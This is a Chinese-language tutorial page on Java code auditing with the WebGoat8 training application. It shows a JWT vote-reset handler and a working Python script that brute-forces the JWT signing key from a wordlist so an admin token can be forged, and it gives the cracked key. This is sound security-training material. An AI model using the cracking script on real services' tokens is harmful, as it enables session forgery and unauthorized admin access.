主页 > 网络知识 > Java代码审计入门:WebGoat8(再会)(5)

Java代码审计入门:WebGoat8(再会)(5)

然后看到随堂作业中要重置投票的相关代码块。我们可以看到这一句:Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);使用签名密钥去解析了请求过来的JWT,获取claims中的admin参数的值,通过这个值来确认是否admin权限。 

思路:获取密钥,使用或Java或python篡改JWT中admin参数为true。 

问题也随之而来,如何获取密钥?当然我们可以通过代码直接找到JWT_PASSWORD的值,但是这样的话,这道随堂作业就没什么味道了,所以我们再自己加一道题中题:JWT弱密钥爆破。

@PostMapping("reset") public @ResponseBody AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return trackProgress(failed().feedback("jwt-invalid-token").build()); } else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); if (!isAdmin) { return trackProgress(failed().feedback("jwt-only-admin").build()); } else { votes.values().forEach(vote -> vote.reset()); return trackProgress(success().build()); } } catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); } } }

题中题:JWT弱密钥爆破

这一题的解题思路引用@yangyangwithgnu发表的文章 全程带阻:记一次授权网络攻防演练(上)中,利用PyJWT编写脚本爆破JWT弱密码。脚本逻辑

1.若签名直接校验成功(原文为失败,猜测为作者手误),则 key_ 为有效密钥;

2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;

3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;

4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。

利用脚本可爆出JWT弱密钥为:victory 

Java代码审计入门:WebGoat8(再会)

脚本如下: 
JWT_crack.py 
//import jwt 需要安装依赖包PyJWT

 

import jwt import termcolor if __name__ == "__main__": jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg' with open('/YOUR-PATH/Top1000.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, verify=True, key=key_) print(' ', 'bingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print(' ', 'bingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print(' ', ' ' * 64, ' try', key_, end='', flush=True) continue else: print(' ', 'sorry! no key be found.')
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!